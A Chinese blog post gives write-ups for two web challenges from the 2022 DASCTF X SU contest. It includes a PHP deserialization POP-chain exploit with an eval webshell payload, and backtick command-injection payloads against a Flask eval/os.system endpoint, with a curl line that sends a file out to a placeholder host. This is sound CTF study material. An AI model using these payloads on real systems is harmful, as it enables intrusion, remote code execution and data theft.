WP篇之2022DASCTF X SU 三月挑战赛

2022DASCTF X SU 三月挑战赛

这次的DASCTF挺难受的,比赛的时候只打出了一道web,web2其实是能出的,比赛的时候钻进死胡同里去了,而且太久没打比赛了手感也不是很好,这个比赛当恢复训练了,接下来就把这两道web题的wp写写

1.ezpop

这道题挺简单的,但听出题人说这是非预期,预期解是用原生类去读文件,但它都给eval了肯定就不用这么麻烦了嘛

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}

}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}

}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}

一道非常常规的pop链子的题,遇到这种题肯定还是先找起点和终点嘛,起点是POST传参,然后它进行了反序列化之后会进入到fin类中的__destruct()方法中,终点是mix类中的get_flag(),在里面有任意代码执行

还是从终点往前推,看哪里调用了get_flag(),在fin类的__call()方法中,然后在crow类中的__invoke()方法中调用了world()方法,由于fin类中没有world()方法,于是就会调用__call(),再往前看,在fin类的run()方法中可以调用__invoke(),然后在what类中的__toString()方法里调用了run(),最后在__destruct()中有字符串与对象的连接,会调用__destruct(),链子就到头了

所以说链子如下:

1
头 -> fin::__destruct() -> what::__toString() -> fin::run() -> crow::__invoke() -> fin::__call() -> mix::getflag()

所以说构造的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class crow
{
public $v1;
}
class fin
{
public $f1;

}
class what
{
public $a;

}
class mix
{
public $m1="?><?php phpinfo();";
}
$fin1 = new fin();
$fin2 = new fin();
$fin3 = new fin();
$crow = new crow();
$what = new what();
$mix = new mix();

$fin1->f1=$what;
$what->a=$fin2;
$fin2->f1=$crow;
$crow->v1=$fin3;
$fin3->f1=$mix;

echo serialize($fin1);

找了半天没找到flag,只有构造个一句话木马连上蚁剑去找了$m1='?><?php eval($_POST[1]);';

image.png

连上蚁剑找到flag:

image.png

2.calc

害这道题比赛的时候没做出来太伤了,还是先看源码,是python的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time


app=Flask(__name__)

def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag


@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"

if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)

可以看到我们可控的其实就是一个num参数,因为它有eval,所以说我感觉可以尝试ssti,但它过滤的属实太多了,就懒得绕,于是我看到了下面的os.system(log),这里可以直接执行命令,只不过命令内容我们不完全可控,echo {0} {1} {2}> ./tmp/log.txt,我们只有2的位置可控,不过也不影响,加个反引号就可以了,看下面这个测试:

image.png

说明它是完全可以执行的,并且把命令执行的结果写进了./tmp/log.txt中,这里我感觉很奇怪的就是这个文件./tmp/log.txt我们无法直接访问到,可能是python路由的问题,但不能直接访问我们可以通过curl把数据外带出来嘛,这里空格被ban了我们用%09代替就行

也就是说我们先执行命令,命令执行的结果在./tmp/log.txt中,然后curl外带出来看,记得这里用burp抓下包在里面传,别直接传

1
2
命令:123%23`ls%09/`%23
外带数据:123%23`curl%09-F%09xx=@tmp/log.txt%09http://ip:port/`%23

image.png

1
2
命令:123%23`cat%09/T*`%23
外带数据:123%23`curl%09-F%09xx=@tmp/log.txt%09http://ip:port/`%23

image.png

image.png

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信